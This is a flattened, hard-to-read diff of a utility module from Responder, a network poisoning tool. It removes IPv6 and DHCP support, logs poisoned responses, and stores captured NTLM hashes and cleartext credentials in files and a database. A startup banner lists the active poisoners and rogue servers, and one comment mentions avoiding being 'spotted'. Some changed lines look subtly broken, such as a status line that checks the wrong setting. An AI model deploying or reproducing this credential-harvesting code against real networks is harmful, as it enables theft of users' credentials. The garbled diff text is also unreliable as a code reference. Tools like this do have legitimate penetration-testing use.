elif Name.upper() in settings.Config.RespondToName or settings.Config.RespondToName == []: elif Name.upper() in settings.Config.RespondToName or settings.Config.RespondToName == []:
if Name.upper() not in settings.Config.DontRespondToName: if Name.upper() not in settings.Config.DontRespondToName:
@ -152,31 +128,6 @@ def RespondWithIPAton():
else: else:
return settings.Config.IP_aton.decode('latin-1') return settings.Config.IP_aton.decode('latin-1')
def RespondWithIPPton():
if settings.Config.PY2OR3 == "PY2":
if settings.Config.ExternalIP6:
return settings.Config.ExternalIP6Pton
else:
return settings.Config.IP_Pton6
else:
if settings.Config.ExternalIP6:
return settings.Config.ExternalIP6Pton.decode('latin-1')
else:
return settings.Config.IP_Pton6.decode('latin-1')
def RespondWithIP():
if settings.Config.ExternalIP:
return settings.Config.ExternalIP
else:
return settings.Config.Bind_To
def RespondWithIP6():
if settings.Config.ExternalIP6:
return settings.Config.ExternalIP6
else:
return settings.Config.Bind_To6
def OsInterfaceIsSupported(): def OsInterfaceIsSupported():
if settings.Config.Interface != "Not set": if settings.Config.Interface != "Not set":
return not IsOsX() return not IsOsX()
@ -185,16 +136,6 @@ def OsInterfaceIsSupported():
def IsOsX(): def IsOsX():
return sys.platform == "darwin" return sys.platform == "darwin"
def IsIPv6IP(IP):
if IP == None:
return False
regex = r"(([0-9a-fA-F]{1,4}:){7,7}[0-9a-fA-F]{1,4}|([0-9a-fA-F]{1,4}:){1,7}:|([0-9a-fA-F]{1,4}:){1,6}:[0-9a-fA-F]{1,4}|([0-9a-fA-F]{1,4}:){1,5}(:[0-9a-fA-F]{1,4}){1,2}|([0-9a-fA-F]{1,4}:){1,4}(:[0-9a-fA-F]{1,4}){1,3}|([0-9a-fA-F]{1,4}:){1,3}(:[0-9a-fA-F]{1,4}){1,4}|([0-9a-fA-F]{1,4}:){1,2}(:[0-9a-fA-F]{1,4}){1,5}|[0-9a-fA-F]{1,4}:((:[0-9a-fA-F]{1,4}){1,6})|:((:[0-9a-fA-F]{1,4}){1,7}|:)|fe80:(:[0-9a-fA-F]{0,4}){0,4}%[0-9a-zA-Z]{1,}|::(ffff(:0{1,4}){0,1}:){0,1}((25[0-5]|(2[0-4]|1{0,1}[0-9]){0,1}[0-9])\.){3,3}(25[0-5]|(2[0-4]|1{0,1}[0-9]){0,1}[0-9])|([0-9a-fA-F]{1,4}:){1,4}:((25[0-5]|(2[0-4]|1{0,1}[0-9]){0,1}[0-9])\.){3,3}(25[0-5]|(2[0-4]|1{0,1}[0-9]){0,1}[0-9]))"
ret = re.search(regex, IP)
if ret:
return True
else:
return False
def FindLocalIP(Iface, OURIP): def FindLocalIP(Iface, OURIP):
if Iface == 'ALL': if Iface == 'ALL':
return '0.0.0.0' return '0.0.0.0'
@ -202,19 +143,6 @@ def FindLocalIP(Iface, OURIP):
try: try:
if IsOsX(): if IsOsX():
return OURIP return OURIP
elif IsIPv6IP(OURIP):
s = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)
s.setsockopt(socket.SOL_SOCKET, 25, str(Iface+'\0').encode('utf-8'))
s.connect(("127.0.0.1",9))#RFC 863
ret = s.getsockname()[0]
s.close()
return ret
elif IsIPv6IP(OURIP) == False and OURIP != None:
return OURIP
elif OURIP == None: elif OURIP == None:
s = socket.socket(socket.AF_INET, socket.SOCK_DGRAM) s = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)
s.setsockopt(socket.SOL_SOCKET, 25, str(Iface+'\0').encode('utf-8')) s.setsockopt(socket.SOL_SOCKET, 25, str(Iface+'\0').encode('utf-8'))
@ -222,54 +150,11 @@ def FindLocalIP(Iface, OURIP):
ret = s.getsockname()[0] ret = s.getsockname()[0]
s.close() s.close()
return ret return ret
return OURIP
except socket.error: except socket.error:
print(color("[!] Error: %s: Interface not found" % Iface, 1)) print(color("[!] Error: %s: Interface not found" % Iface, 1))
sys.exit(-1) sys.exit(-1)
def Probe_IPv6_socket():
"""Return true is IPv6 sockets are really supported, and False when IPv6 is not supported."""
if not socket.has_ipv6:
return False
try:
with socket.socket(socket.AF_INET6, socket.SOCK_STREAM) as s:
s.bind(("::1", 0))
return True
except:
return False
def FindLocalIP6(Iface, OURIP):
if Iface == 'ALL':
return '::'
try:
if IsIPv6IP(OURIP) == False:
try:
#Let's make it random so we don't get spotted easily.
randIP = "2001:" + ":".join(("%x" % random.randint(0, 16**4) for i in range(7)))
s = socket.socket(socket.AF_INET6, socket.SOCK_DGRAM)
s.connect((randIP+':80', 1))
IP = s.getsockname()[0]
return IP
except:
try:
#Try harder; Let's get the local link addr
IP = str(netifaces.ifaddresses(Iface)[netifaces.AF_INET6][0]["addr"].replace("%"+Iface, ""))
return IP
except:
IP = '::1'
print("[+] You don't have an IPv6 address assigned.")
return IP
else:
return OURIP
except socket.error:
print(color("[!] Error: %s: Interface not found" % Iface, 1))
sys.exit(-1)
# Function used to write captured hashs to a file. # Function used to write captured hashs to a file.
def WriteData(outfile, data, user): def WriteData(outfile, data, user):
logging.info("[*] Captured Hash: %s" % data) logging.info("[*] Captured Hash: %s" % data)
@ -325,8 +210,6 @@ def CreateResponderDb():
cursor.commit() cursor.commit()
cursor.execute('CREATE TABLE responder (timestamp TEXT, module TEXT, type TEXT, client TEXT, hostname TEXT, user TEXT, cleartext TEXT, hash TEXT, fullhash TEXT)') cursor.execute('CREATE TABLE responder (timestamp TEXT, module TEXT, type TEXT, client TEXT, hostname TEXT, user TEXT, cleartext TEXT, hash TEXT, fullhash TEXT)')
cursor.commit() cursor.commit()
cursor.execute('CREATE TABLE DHCP (timestamp TEXT, MAC TEXT, IP TEXT, RequestedIP TEXT)')
cursor.commit()
cursor.close() cursor.close()
def SaveToDb(result): def SaveToDb(result):
@ -334,7 +217,7 @@ def SaveToDb(result):
for k in [ 'module', 'type', 'client', 'hostname', 'user', 'cleartext', 'hash', 'fullhash' ]: for k in [ 'module', 'type', 'client', 'hostname', 'user', 'cleartext', 'hash', 'fullhash' ]:
if not k in result: if not k in result:
result[k] = '' result[k] = ''
result['client'] = result['client'].replace("::ffff:","")
if len(result['user']) < 2: if len(result['user']) < 2:
print(color('[*] Skipping one character username: %s' % result['user'], 3, 1)) print(color('[*] Skipping one character username: %s' % result['user'], 3, 1))
text("[*] Skipping one character username: %s" % result['user']) text("[*] Skipping one character username: %s" % result['user'])
@ -354,10 +237,16 @@ def SaveToDb(result):
logfile = os.path.join(settings.Config.ResponderPATH, 'logs', fname) logfile = os.path.join(settings.Config.ResponderPATH, 'logs', fname)
if not count: if not count:
with open(logfile,"a") as outf:
if len(result['cleartext']): # If we obtained cleartext credentials, write them to file
outf.write('%s:%s\n' % (result['user'].encode('utf8', 'replace'), result['cleartext'].encode('utf8', 'replace')))
else: # Otherwise, write JtR-style hash string to file
outf.write(result['fullhash'] + '\n')#.encode('utf8', 'replace') + '\n')
cursor.execute("INSERT INTO responder VALUES(datetime('now'), ?, ?, ?, ?, ?, ?, ?, ?)", (result['module'], result['type'], result['client'], result['hostname'], result['user'], result['cleartext'], result['hash'], result['fullhash'])) cursor.execute("INSERT INTO responder VALUES(datetime('now'), ?, ?, ?, ?, ?, ?, ?, ?)", (result['module'], result['type'], result['client'], result['hostname'], result['user'], result['cleartext'], result['hash'], result['fullhash']))
cursor.commit() cursor.commit()
if not count or settings.Config.CaptureMultipleHashFromSameHost: if settings.Config.CaptureMultipleHashFromSameHost:
with open(logfile,"a") as outf: with open(logfile,"a") as outf:
if len(result['cleartext']): # If we obtained cleartext credentials, write them to file if len(result['cleartext']): # If we obtained cleartext credentials, write them to file
outf.write('%s:%s\n' % (result['user'].encode('utf8', 'replace'), result['cleartext'].encode('utf8', 'replace'))) outf.write('%s:%s\n' % (result['user'].encode('utf8', 'replace'), result['cleartext'].encode('utf8', 'replace')))
@ -404,7 +293,7 @@ def SavePoisonersToDb(result):
for k in [ 'Poisoner', 'SentToIp', 'ForName', 'AnalyzeMode' ]: for k in [ 'Poisoner', 'SentToIp', 'ForName', 'AnalyzeMode' ]:
if not k in result: if not k in result:
result[k] = '' result[k] = ''
result['SentToIp'] = result['SentToIp'].replace("::ffff:","")
cursor = sqlite3.connect(settings.Config.DatabaseFile) cursor = sqlite3.connect(settings.Config.DatabaseFile)
cursor.text_factory = sqlite3.Binary # We add a text factory to support different charsets cursor.text_factory = sqlite3.Binary # We add a text factory to support different charsets
res = cursor.execute("SELECT COUNT(*) AS count FROM Poisoned WHERE Poisoner=? AND SentToIp=? AND ForName=? AND AnalyzeMode=?", (result['Poisoner'], result['SentToIp'], result['ForName'], result['AnalyzeMode'])) res = cursor.execute("SELECT COUNT(*) AS count FROM Poisoned WHERE Poisoner=? AND SentToIp=? AND ForName=? AND AnalyzeMode=?", (result['Poisoner'], result['SentToIp'], result['ForName'], result['AnalyzeMode']))
@ -416,37 +305,16 @@ def SavePoisonersToDb(result):
cursor.close() cursor.close()
def SaveDHCPToDb(result):
for k in [ 'MAC', 'IP', 'RequestedIP']:
if not k in result:
result[k] = ''
cursor = sqlite3.connect(settings.Config.DatabaseFile)
cursor.text_factory = sqlite3.Binary # We add a text factory to support different charsets
res = cursor.execute("SELECT COUNT(*) AS count FROM DHCP WHERE MAC=? AND IP=? AND RequestedIP=?", (result['MAC'], result['IP'], result['RequestedIP']))
(count,) = res.fetchone()
if not count:
cursor.execute("INSERT INTO DHCP VALUES(datetime('now'), ?, ?, ?)", (result['MAC'], result['IP'], result['RequestedIP']))
cursor.commit()
cursor.close()
def Parse_IPV6_Addr(data): def Parse_IPV6_Addr(data):
if data[len(data)-4:len(data)] == b'\x00\x1c\x00\x01': if data[len(data)-4:len(data)][1] ==b'\x1c':
return 'IPv6' return False
elif data[len(data)-4:len(data)] == b'\x00\x01\x00\x01': elif data[len(data)-4:len(data)] == b'\x00\x01\x00\x01':
return True return True
elif data[len(data)-4:len(data)] == b'\x00\xff\x00\x01': elif data[len(data)-4:len(data)] == b'\x00\xff\x00\x01':
return True return True
return False return False
def IsIPv6(data):
if "::ffff:" in data:
return False
else:
return True
def Decode_Name(nbname): #From http://code.google.com/p/dpkt/ with author's permission. def Decode_Name(nbname): #From http://code.google.com/p/dpkt/ with author's permission.
try: try:
from string import printable from string import printable
@ -485,19 +353,22 @@ def banner():
]) ])
print(banner) print(banner)
print("\n \033[1;33mNBT-NS, LLMNR & MDNS %s\033[0m" % settings.__version__)
print('')
print(" Author: Laurent Gaffie (laurent.gaffie@gmail.com)")
print(" To kill this script hit CTRL-C")
print('') print('')
def StartupMessage(): def StartupMessage():
enabled = color('[ON]', 2, 1) enabled = color('[ON]', 2, 1)
disabled = color('[OFF]', 1, 1) disabled = color('[OFF]', 1, 1)
print(color("[*] ", 2, 1)+"Sponsor Responder: https://paypal.me/PythonResponder")
print('') print('')
print(color("[+] ", 2, 1) + "Poisoners:") print(color("[+] ", 2, 1) + "Poisoners:")
print(' %-27s' % "LLMNR" + (enabled if (settings.Config.AnalyzeMode == False and settings.Config.LLMNR_On_Off) else disabled)) print(' %-27s' % "LLMNR" + enabled)
print(' %-27s' % "NBT-NS" + (enabled if (settings.Config.AnalyzeMode == False and settings.Config.NBTNS_On_Off) else disabled)) print(' %-27s' % "NBT-NS" + enabled)
print(' %-27s' % "MDNS" + (enabled if (settings.Config.AnalyzeMode == False and settings.Config.MDNS_On_Off) else disabled)) print(' %-27s' % "DNS/MDNS" + enabled)
print(' %-27s' % "DNS" + enabled)
print(' %-27s' % "DHCP" + (enabled if settings.Config.DHCP_On_Off else disabled)) print(' %-27s' % "DHCP" + (enabled if settings.Config.DHCP_On_Off else disabled))
print('') print('')
@ -515,11 +386,9 @@ def StartupMessage():
print(' %-27s' % "SMTP server" + (enabled if settings.Config.SMTP_On_Off else disabled)) print(' %-27s' % "SMTP server" + (enabled if settings.Config.SMTP_On_Off else disabled))
print(' %-27s' % "DNS server" + (enabled if settings.Config.DNS_On_Off else disabled)) print(' %-27s' % "DNS server" + (enabled if settings.Config.DNS_On_Off else disabled))
print(' %-27s' % "LDAP server" + (enabled if settings.Config.LDAP_On_Off else disabled)) print(' %-27s' % "LDAP server" + (enabled if settings.Config.LDAP_On_Off else disabled))
print(' %-27s' % "MQTT server" + (enabled if settings.Config.MQTT_On_Off else disabled))
print(' %-27s' % "RDP server" + (enabled if settings.Config.RDP_On_Off else disabled)) print(' %-27s' % "RDP server" + (enabled if settings.Config.RDP_On_Off else disabled))
print(' %-27s' % "DCE-RPC server" + (enabled if settings.Config.DCERPC_On_Off else disabled)) print(' %-27s' % "DCE-RPC server" + (enabled if settings.Config.RDP_On_Off else disabled))
print(' %-27s' % "WinRM server" + (enabled if settings.Config.WinRM_On_Off else disabled)) print(' %-27s' % "WinRM server" + (enabled if settings.Config.WinRM_On_Off else disabled))
print(' %-27s' % "SNMP server" + (enabled if settings.Config.SNMP_On_Off else disabled))
print('') print('')
print(color("[+] ", 2, 1) + "HTTP Options:") print(color("[+] ", 2, 1) + "HTTP Options:")
@ -536,18 +405,14 @@ def StartupMessage():
print(' %-27s' % "Force Basic Auth" + (enabled if settings.Config.Basic else disabled)) print(' %-27s' % "Force Basic Auth" + (enabled if settings.Config.Basic else disabled))
print(' %-27s' % "Force LM downgrade" + (enabled if settings.Config.LM_On_Off == True else disabled)) print(' %-27s' % "Force LM downgrade" + (enabled if settings.Config.LM_On_Off == True else disabled))
print(' %-27s' % "Force ESS downgrade" + (enabled if settings.Config.NOESS_On_Off == True or settings.Config.LM_On_Off == True else disabled)) print(' %-27s' % "Force ESS downgrade" + (enabled if settings.Config.NOESS_On_Off == True or settings.Config.LM_On_Off == True else disabled))
print(' %-27s' % "Fingerprint hosts" + (enabled if settings.Config.Finger_On_Off == True else disabled))
print('') print('')
print(color("[+] ", 2, 1) + "Generic Options:") print(color("[+] ", 2, 1) + "Generic Options:")
print(' %-27s' % "Responder NIC" + color('[%s]' % settings.Config.Interface, 5, 1)) print(' %-27s' % "Responder NIC" + color('[%s]' % settings.Config.Interface, 5, 1))
print(' %-27s' % "Responder IP" + color('[%s]' % settings.Config.Bind_To, 5, 1)) print(' %-27s' % "Responder IP" + color('[%s]' % settings.Config.Bind_To, 5, 1))
print(' %-27s' % "Responder IPv6" + color('[%s]' % settings.Config.Bind_To6, 5, 1))
if settings.Config.ExternalIP:
print(' %-27s' % "Responder external IP" + color('[%s]' % settings.Config.ExternalIP, 5, 1))
if settings.Config.ExternalIP6:
print(' %-27s' % "Responder external IPv6" + color('[%s]' % settings.Config.ExternalIP6, 5, 1))
print(' %-27s' % "Challenge set" + color('[%s]' % settings.Config.NumChal, 5, 1)) print(' %-27s' % "Challenge set" + color('[%s]' % settings.Config.NumChal, 5, 1))
if settings.Config.Upstream_Proxy: if settings.Config.Upstream_Proxy:
print(' %-27s' % "Upstream Proxy" + color('[%s]' % settings.Config.Upstream_Proxy, 5, 1)) print(' %-27s' % "Upstream Proxy" + color('[%s]' % settings.Config.Upstream_Proxy, 5, 1))
@ -559,20 +424,10 @@ def StartupMessage():
print(' %-27s' % "Don't Respond To" + color(str(settings.Config.DontRespondTo), 5, 1)) print(' %-27s' % "Don't Respond To" + color(str(settings.Config.DontRespondTo), 5, 1))
if len(settings.Config.DontRespondToName): if len(settings.Config.DontRespondToName):
print(' %-27s' % "Don't Respond To Names" + color(str(settings.Config.DontRespondToName), 5, 1)) print(' %-27s' % "Don't Respond To Names" + color(str(settings.Config.DontRespondToName), 5, 1))
if len(settings.Config.DontRespondToTLD):
print(' %-27s' % "Don't Respond To MDNS TLD" + color(str(settings.Config.DontRespondToTLD), 5, 1))
if settings.Config.TTL == None:
print(' %-27s' % "TTL for poisoned response "+ color('[default]', 5, 1))
else:
print(' %-27s' % "TTL for poisoned response" + color(str(settings.Config.TTL.encode().hex()) + " ("+ str(int.from_bytes(str.encode(settings.Config.TTL),"big")) +" seconds)", 5, 1))
print('') print('')
print(color("[+] ", 2, 1) + "Current Session Variables:") print(color("[+] ", 2, 1) + "Current Session Variables:")
print(' %-27s' % "Responder Machine Name" + color('[%s]' % settings.Config.MachineName, 5, 1)) print(' %-27s' % "Responder Machine Name" + color('[%s]' % settings.Config.MachineName, 5, 1))
print(' %-27s' % "Responder Domain Name" + color('[%s]' % settings.Config.DomainName, 5, 1)) print(' %-27s' % "Responder Domain Name" + color('[%s]' % settings.Config.DomainName, 5, 1))
print(' %-27s' % "Responder DCE-RPC Port " + color('[%s]' % settings.Config.RPCPort, 5, 1)) print(' %-27s' % "Responder DCE-RPC Port " + color('[%s]' % settings.Config.RPCPort, 5, 1))
#credits
print('')
print(color("[*] ", 2, 1)+"Version: "+settings.__version__)
print(color("[*] ", 2, 1)+"Author: Laurent Gaffie, <lgaffie@secorizon.com>")